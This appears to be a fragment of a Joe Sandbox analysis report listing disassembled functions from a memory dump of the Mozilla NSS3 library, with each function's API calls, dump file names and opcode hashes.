PR_SetError.NSS3(00000000,00000000), ref: 6C568787

Part of subcall function 6C5679F0: memcpy.VCRUNTIME140(?,6C66AB28,000000FC), ref: 6C567A1E
Part of subcall function 6C5679F0: PR_SetError.NSS3(FFFFE001,00000000), ref: 6C567A48

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: Error$AuthenticateCriticalEnterK11_SectionUnlockValuememcpy
String ID:
API String ID: 3710639568-0
Opcode ID: 42623a4364f46288a1e35053bd0ec38a3bf5511107fe67aa52809305476903e6
Instruction ID: 234b0f154dc767ce3c8eed650aa5fd6a9daea02ae705f4ba8fb80fe0af4645f3
Opcode Fuzzy Hash: 42623a4364f46288a1e35053bd0ec38a3bf5511107fe67aa52809305476903e6
Instruction Fuzzy Hash: 44312C76A00205ABDF009F66DC41A5A7BB9EF86318F154025ED195BB21EB32ED14C792

Function 6C5444D0 Relevance: 7.6, APIs: 5, Instructions: 90COMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3 ref: 6C5444FF

Part of subcall function 6C5A07B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6C548298,?,?,?,6C53FCE5,?), ref: 6C5A07BF
Part of subcall function 6C5A07B0: PL_HashTableLookup.NSS3(?,?), ref: 6C5A07E6
Part of subcall function 6C5A07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C5A081B
Part of subcall function 6C5A07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C5A0825

SECOID_FindOID_Util.NSS3(?), ref: 6C544524
SECITEM_ItemsAreEqual_Util.NSS3(?,?), ref: 6C544537
CERT_AddExtensionByOID.NSS3(00000001,?,?,?,00000001), ref: 6C544579

Part of subcall function 6C5441B0: PORT_ArenaAlloc_Util.NSS3(?,00000024), ref: 6C5441BE
Part of subcall function 6C5441B0: PORT_ArenaAlloc_Util.NSS3(?,00000008), ref: 6C5441E9
Part of subcall function 6C5441B0: SECITEM_CopyItem_Util.NSS3(?,00000000,?), ref: 6C544227
Part of subcall function 6C5441B0: SECITEM_CopyItem_Util.NSS3(?,-00000018,?), ref: 6C54423D

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C54459C

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: Util$Error$Alloc_ArenaCopyFindHashItem_LookupTable$ConstEqual_ExtensionItems
String ID:
API String ID: 3193526912-0
Opcode ID: ebf86faa50ffcf2ec35f4368ae81f486fcdccb540a5d46777f353d11653d57bb
Instruction ID: 11b36f71e2b8b0bf605bad5e1118a39b29b592a193896a607cbb4db9a80683f8
Opcode Fuzzy Hash: ebf86faa50ffcf2ec35f4368ae81f486fcdccb540a5d46777f353d11653d57bb
Instruction Fuzzy Hash: A321B3716816109BEF10DE69AC44BEB37A89F81758F148829FC1ACBB53E721ED04C6A1

Function 6C54A6B0 Relevance: 7.6, APIs: 5, Instructions: 90timeCOMMON

Download Yara Rule

APIs

CERT_CheckCertValidTimes.NSS3(00000000,00000000,6C54A2FA,00000000,6C54A2FA,00000000), ref: 6C54A6E4

Part of subcall function 6C541DD0: DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6C541E0B
Part of subcall function 6C541DD0: DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6C541E24

TlsGetValue.KERNEL32(?,?,?,?,6C54A2FA,00000000), ref: 6C54A723
EnterCriticalSection.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6C54A2FA,00000000), ref: 6C54A733
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6C54A2FA,00000000), ref: 6C54A74C
PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,6C54A2FA,00000000), ref: 6C54A774

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: Util$Choice_DecodeTime$Arena_CertCheckCriticalEnterFreeSectionTimesUnlockValidValue
String ID:
API String ID: 2353111112-0
Opcode ID: 310474a128d73dc6af7d7556431af544d883e9f4f6b3b9033bee29b9f1a6b126
Instruction ID: 7e8b5e7e824b3ad4542962e506e7b028b41050480bec81d1097f295bc4951530
Opcode Fuzzy Hash: 310474a128d73dc6af7d7556431af544d883e9f4f6b3b9033bee29b9f1a6b126
Instruction Fuzzy Hash: 80212B75A00600DBE7209F2A9C8176B7BB8DF8A398F10C439EC2987751FB30E85486D5

Function 6C54E5E0 Relevance: 7.6, APIs: 5, Instructions: 82memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,00000000,00000000,00000000,?,6C54E755,00000000,00000004,?,?), ref: 6C54E5F5

Part of subcall function 6C5A14C0: TlsGetValue.KERNEL32 ref: 6C5A14E0
Part of subcall function 6C5A14C0: EnterCriticalSection.KERNEL32 ref: 6C5A14F5
Part of subcall function 6C5A14C0: PR_Unlock.NSS3 ref: 6C5A150D

PR_SetError.NSS3(FFFFE005,00000000,?), ref: 6C54E62C
SECITEM_AllocItem_Util.NSS3(00000000,00000000,00000000,?), ref: 6C54E63E

Part of subcall function 6C59F9A0: PORT_ArenaMark_Util.NSS3(?,00000000,-00000002,?,-00000002,?,6C53F379,?,00000000,-00000002), ref: 6C59F9B7

PK11_HashBuf.NSS3(?,?,?,?,?,?,?,?), ref: 6C54E65C

Part of subcall function 6C56DDD0: SECOID_FindOIDByTag_Util.NSS3(?), ref: 6C56DDEC
Part of subcall function 6C56DDD0: PK11_DigestBegin.NSS3(00000000), ref: 6C56DE70
Part of subcall function 6C56DDD0: PK11_DigestOp.NSS3(00000000,00000004,00000000), ref: 6C56DE83
Part of subcall function 6C56DDD0: HASH_ResultLenByOidTag.NSS3(?), ref: 6C56DE95
Part of subcall function 6C56DDD0: PK11_DigestFinal.NSS3(00000000,00000000,?,00000040), ref: 6C56DEAE
Part of subcall function 6C56DDD0: PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C56DEBB

SECITEM_ZfreeItem_Util.NSS3(00000000,00000000,?), ref: 6C54E68E

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: K11_Util$Digest$ArenaItem_Mark_$AllocBeginContextCriticalDestroyEnterErrorFinalFindHashResultSectionTag_UnlockValueZfree
String ID:
API String ID: 2865137721-0
Opcode ID: a3a89b2af733e35b5063d925a0347e14bcb9d919b36c9b216162f5a6fb2f6e13
Instruction ID: ac3078ec785e421e3d4d60289ed5c1cec1e63a8d7ef3a99c31e66be7fbfca164
Opcode Fuzzy Hash: a3a89b2af733e35b5063d925a0347e14bcb9d919b36c9b216162f5a6fb2f6e13
Instruction Fuzzy Hash: 2E210176B01200AFFB00CEA5EC80E6BBA989F84358F158138ED1D8BA51EBA1DD14C3D0

Function 6C546AF0 Relevance: 7.6, APIs: 5, Instructions: 81memoryCOMMON

Download Yara Rule

APIs

SECITEM_ArenaDupItem_Util.NSS3(00000000,6C54B21D,00000000,00000000,6C54B219,?,6C546BFB,00000000,?,00000000,00000000,?,?,?,6C54B21D), ref: 6C546B01

Part of subcall function 6C59FDF0: PORT_ArenaAlloc_Util.NSS3(?,0000000C,00000000,?,?), ref: 6C59FE08
Part of subcall function 6C59FDF0: PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?), ref: 6C59FE1D
Part of subcall function 6C59FDF0: memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?), ref: 6C59FE62

PR_SetError.NSS3(FFFFE005,00000000,00000000,00000000,6C54B219,?,6C546BFB,00000000,?,00000000,00000000,?,?,?,6C54B21D), ref: 6C546B36
PORT_ArenaAlloc_Util.NSS3(00000000,00000030), ref: 6C546B47
SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,00000000), ref: 6C546B8A
SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000004,?,0000001C), ref: 6C546BB6

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: Util$Arena$Alloc_Item_$DecodeQuick$Errormemcpy
String ID:
API String ID: 1773792728-0
Opcode ID: ce88fc476a203974f421ba1fd76edbc507c8de0820adf9b82b8cada26103cb3f
Instruction ID: fafa9300de4e740adbd977586ea5434664cb06f29f5bac9603f226314ab2cc6e
Opcode Fuzzy Hash: ce88fc476a203974f421ba1fd76edbc507c8de0820adf9b82b8cada26103cb3f
Instruction Fuzzy Hash: CF212532A013149BEB108F65CD40F9E7BE8DB45798F048669EC48DBB11FB31E954CB90

Function 6C5B4BB0 Relevance: 7.6, APIs: 5, Instructions: 80memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000400,C083F089), ref: 6C5B4BDD

Part of subcall function 6C5A0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C5487ED,00000800,6C53EF74,00000000), ref: 6C5A1000
Part of subcall function 6C5A0FF0: PR_NewLock.NSS3(?,00000800,6C53EF74,00000000), ref: 6C5A1016
Part of subcall function 6C5A0FF0: PL_InitArenaPool.NSS3(00000000,security,6C5487ED,00000008,?,00000800,6C53EF74,00000000), ref: 6C5A102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000001,?,C083F089), ref: 6C5B4C03

Part of subcall function 6C5A10C0: TlsGetValue.KERNEL32(?,6C548802,00000000,00000008,?,6C53EF74,00000000), ref: 6C5A10F3
Part of subcall function 6C5A10C0: EnterCriticalSection.KERNEL32(?,?,6C548802,00000000,00000008,?,6C53EF74,00000000), ref: 6C5A110C
Part of subcall function 6C5A10C0: PL_ArenaAllocate.NSS3(?,?,?,6C548802,00000000,00000008,?,6C53EF74,00000000), ref: 6C5A1141
Part of subcall function 6C5A10C0: PR_Unlock.NSS3(?,?,?,6C548802,00000000,00000008,?,6C53EF74,00000000), ref: 6C5A1182
Part of subcall function 6C5A10C0: TlsGetValue.KERNEL32(?,6C548802,00000000,00000008,?,6C53EF74,00000000), ref: 6C5A119C

memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,C083F089), ref: 6C5B4C15
SEC_ASN1EncodeItem_Util.NSS3(?,00000000,?,?,?,?,?,?,?,?,C083F089), ref: 6C5B4C3E

Part of subcall function 6C59F080: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?), ref: 6C59F0C8
Part of subcall function 6C59F080: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C59F122

PORT_FreeArena_Util.NSS3(?,00000000,?,?,?,C083F089), ref: 6C5B4C85

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: Util$Arena_$ArenaFree$Value$Alloc_AllocateCriticalEncodeEnterInitItem_LockPoolSectionUnlockcallocmemset
String ID:
API String ID: 227267669-0
Opcode ID: 6e97964fb8b46639beaca23bca44ff761384821f5c02764e7912be18eb69810a
Instruction ID: 39a5349a1e3a3e8101fb852c976b3bd660144dff3a3375a6001eacfa4f25e486
Opcode Fuzzy Hash: 6e97964fb8b46639beaca23bca44ff761384821f5c02764e7912be18eb69810a
Instruction Fuzzy Hash: 3A2108B3A00210ABEB200E56AC41BBB7E98DF9175CF140134FD28A7790F731EC1486E5

Function 6C54AD90 Relevance: 7.6, APIs: 5, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(00000000,?,6C543FFF,00000000,?,?,?,?,?,6C541A1C,00000000,00000000), ref: 6C54ADA7

Part of subcall function 6C5A14C0: TlsGetValue.KERNEL32 ref: 6C5A14E0
Part of subcall function 6C5A14C0: EnterCriticalSection.KERNEL32 ref: 6C5A14F5
Part of subcall function 6C5A14C0: PR_Unlock.NSS3 ref: 6C5A150D

PORT_ArenaAlloc_Util.NSS3(00000000,00000020,?,?,6C543FFF,00000000,?,?,?,?,?,6C541A1C,00000000,00000000), ref: 6C54ADB4

Part of subcall function 6C5A10C0: TlsGetValue.KERNEL32(?,6C548802,00000000,00000008,?,6C53EF74,00000000), ref: 6C5A10F3
Part of subcall function 6C5A10C0: EnterCriticalSection.KERNEL32(?,?,6C548802,00000000,00000008,?,6C53EF74,00000000), ref: 6C5A110C
Part of subcall function 6C5A10C0: PL_ArenaAllocate.NSS3(?,?,?,6C548802,00000000,00000008,?,6C53EF74,00000000), ref: 6C5A1141
Part of subcall function 6C5A10C0: PR_Unlock.NSS3(?,?,?,6C548802,00000000,00000008,?,6C53EF74,00000000), ref: 6C5A1182
Part of subcall function 6C5A10C0: TlsGetValue.KERNEL32(?,6C548802,00000000,00000008,?,6C53EF74,00000000), ref: 6C5A119C

SECITEM_CopyItem_Util.NSS3(00000000,?,6C543FFF,?,?,?,?,6C543FFF,00000000,?,?,?,?,?,6C541A1C,00000000), ref: 6C54ADD5

Part of subcall function 6C59FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C598D2D,?,00000000,?), ref: 6C59FB85
Part of subcall function 6C59FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C59FBB1

SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6C6694B0,?,?,?,?,?,?,?,?,6C543FFF,00000000,?), ref: 6C54ADEC

Part of subcall function 6C59B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C6718D0,?), ref: 6C59B095

PR_SetError.NSS3(FFFFE022,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,6C543FFF), ref: 6C54AE3C

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: Util$Arena$Value$Alloc_CriticalEnterErrorItem_SectionUnlock$AllocateCopyDecodeMark_Quickmemcpy
String ID:
API String ID: 2372449006-0
Opcode ID: 5966d4cacae18d22c6c1cfe7e8866cf76da47d5b0fa28c0d9ec21b81d2853e4c
Instruction ID: 88811af9170ae68082161db24623ee39f98c3cdd379a2eb136fcdfba8327195f
Opcode Fuzzy Hash: 5966d4cacae18d22c6c1cfe7e8866cf76da47d5b0fa28c0d9ec21b81d2853e4c
Instruction Fuzzy Hash: 87112671E003159BE7109B669C40BBF73A8DF9524CF048638EC6996741FB20E96986A2

Function 6C598800 Relevance: 7.6, APIs: 5, Instructions: 68COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,6C5A085A,00000000,?,6C548369,?), ref: 6C598821
TlsGetValue.KERNEL32(?,?,6C5A085A,00000000,?,6C548369,?), ref: 6C59883D
EnterCriticalSection.KERNEL32(?,?,?,6C5A085A,00000000,?,6C548369,?), ref: 6C598856
PR_WaitCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000013,?), ref: 6C598887
PR_Unlock.NSS3(?,?,?,?,6C5A085A,00000000,?,6C548369,?), ref: 6C598899

Part of subcall function 6C5307A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C4C204A), ref: 6C5307AD
Part of subcall function 6C5307A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C4C204A), ref: 6C5307CD
Part of subcall function 6C5307A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C4C204A), ref: 6C5307D6
Part of subcall function 6C5307A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C4C204A), ref: 6C5307E4
Part of subcall function 6C5307A0: TlsSetValue.KERNEL32(00000000,?,6C4C204A), ref: 6C530864
Part of subcall function 6C5307A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C530880
Part of subcall function 6C5307A0: TlsSetValue.KERNEL32(00000000,?,?,6C4C204A), ref: 6C5308CB
Part of subcall function 6C5307A0: TlsGetValue.KERNEL32(?,?,6C4C204A), ref: 6C5308D7
Part of subcall function 6C5307A0: TlsGetValue.KERNEL32(?,?,6C4C204A), ref: 6C5308FB

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: Value$calloc$CondCriticalEnterSectionUnlockWait
String ID:
API String ID: 2759447159-0
Opcode ID: c02efd2e3bcf937b9f6681974ffea261ab08674f0c3350c35126d0df2e89caeb
Instruction ID: f45b3ef21277631bd191a3aaa35fcc76343f30fba527df480ea5e2423de787ff
Opcode Fuzzy Hash: c02efd2e3bcf937b9f6681974ffea261ab08674f0c3350c35126d0df2e89caeb
Instruction Fuzzy Hash: DD216BB4A04645CFDB00EF79C98416ABBF4FF45308F104AA6DC9897701EB30E894CBA2

Function 6C5628A0 Relevance: 7.6, APIs: 5, Instructions: 66COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6C5580DD), ref: 6C5628BA
EnterCriticalSection.KERNEL32(?,?,?,?,6C5580DD), ref: 6C5628D3
PR_Unlock.NSS3(?,?,?,?,?,6C5580DD), ref: 6C5628E8
DeleteCriticalSection.KERNEL32(?,?,?,?,?,6C5580DD), ref: 6C56290E
free.MOZGLUE(?,?,?,?,?,?,6C5580DD), ref: 6C56291A

Part of subcall function 6C559270: DeleteCriticalSection.KERNEL32(?,?,6C565089,?,6C563B70,?,?,?,?,?,6C565089,6C55F39B,00000000), ref: 6C55927F
Part of subcall function 6C559270: free.MOZGLUE(?,?,6C563B70,?,?,?,?,?,6C565089,6C55F39B,00000000), ref: 6C559286
Part of subcall function 6C559270: PL_HashTableDestroy.NSS3(?,6C563B70,?,?,?,?,?,6C565089,6C55F39B,00000000), ref: 6C559292

Part of subcall function 6C558B50: TlsGetValue.KERNEL32(00000000,?,6C560948,00000000), ref: 6C558B6B
Part of subcall function 6C558B50: EnterCriticalSection.KERNEL32(?,?,?,6C560948,00000000), ref: 6C558B80
Part of subcall function 6C558B50: PL_FinishArenaPool.NSS3(?,?,?,?,6C560948,00000000), ref: 6C558B8F
Part of subcall function 6C558B50: PR_Unlock.NSS3(?,?,?,?,6C560948,00000000), ref: 6C558BA1
Part of subcall function 6C558B50: DeleteCriticalSection.KERNEL32(?,?,?,?,6C560948,00000000), ref: 6C558BAC
Part of subcall function 6C558B50: free.MOZGLUE(?,?,?,?,?,6C560948,00000000), ref: 6C558BB8

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: CriticalSection$Deletefree$EnterUnlockValue$ArenaDestroyFinishHashPoolTable
String ID:
API String ID: 3225375108-0
Opcode ID: 384c679fef6fde3529aa53f3322cef98e67a8f40cfd867ba12fb46f8e4cca7ea
Instruction ID: 2107e8619e58dc760db1090840b309074dde6869f8d3e3f93ec914e39e4dc3ee
Opcode Fuzzy Hash: 384c679fef6fde3529aa53f3322cef98e67a8f40cfd867ba12fb46f8e4cca7ea
Instruction Fuzzy Hash: E2213CB5A04B06DBCB00AF79C888469BBF4FF45354F01492ADC9997B10E734E895CB92

Function 6C5A26A0 Relevance: 7.6, APIs: 5, Instructions: 66COMMON

Download Yara Rule

APIs

_NSSUTIL_GetSecmodName.NSS3(?,?,?,?,?), ref: 6C5A26DD

Part of subcall function 6C5A5DE0: isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?), ref: 6C5A5E08
Part of subcall function 6C5A5DE0: NSSUTIL_ArgGetParamValue.NSS3(flags,?), ref: 6C5A5E3F
Part of subcall function 6C5A5DE0: PL_strncasecmp.NSS3(00000000,readOnly,00000008), ref: 6C5A5E5C
Part of subcall function 6C5A5DE0: free.MOZGLUE(00000000), ref: 6C5A5E7E
Part of subcall function 6C5A5DE0: free.MOZGLUE(00000000), ref: 6C5A5E97
Part of subcall function 6C5A5DE0: PORT_Strdup_Util.NSS3(secmod.db), ref: 6C5A5EA5
Part of subcall function 6C5A5DE0: _NSSUTIL_EvaluateConfigDir.NSS3(00000000,?,?), ref: 6C5A5EBB
Part of subcall function 6C5A5DE0: NSSUTIL_ArgGetParamValue.NSS3(flags,?), ref: 6C5A5ECB
Part of subcall function 6C5A5DE0: PL_strncasecmp.NSS3(00000000,noModDB,00000007), ref: 6C5A5EF0

PR_SetError.NSS3(FFFFE0B1,00000000), ref: 6C5A26F8

Part of subcall function 6C5EC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C5EC2BF

free.MOZGLUE(00000000), ref: 6C5A3434
free.MOZGLUE(?), ref: 6C5A3448
free.MOZGLUE(?), ref: 6C5A345C

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: free$Value$L_strncasecmpParam$ConfigErrorEvaluateNameSecmodStrdup_Utilisspace
String ID:
API String ID: 3127463018-0
Opcode ID: 264cc7fbbabdb4629759d8f39d19e4d37582a56f66f07e7a4289732cc042e7a5
Instruction ID: fa4830d4dd3f4378d0f1e7d05c6137c47660fb438acc612515c8e99acae51102
Opcode Fuzzy Hash: 264cc7fbbabdb4629759d8f39d19e4d37582a56f66f07e7a4289732cc042e7a5
Instruction Fuzzy Hash: 841124B1A001189FDF01DFA9DC89ADE73B8FF41348F008479E84A97240EB31EA05CBA5

Function 6C5309E0 Relevance: 7.6, APIs: 5, Instructions: 64COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,?,?,?,6C5306A2,00000000,?), ref: 6C5309F8
malloc.MOZGLUE(0000001F), ref: 6C530A18
memcpy.VCRUNTIME140(?,?,00000001), ref: 6C530A33

Part of subcall function 6C5307A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C4C204A), ref: 6C5307AD
Part of subcall function 6C5307A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C4C204A), ref: 6C5307CD
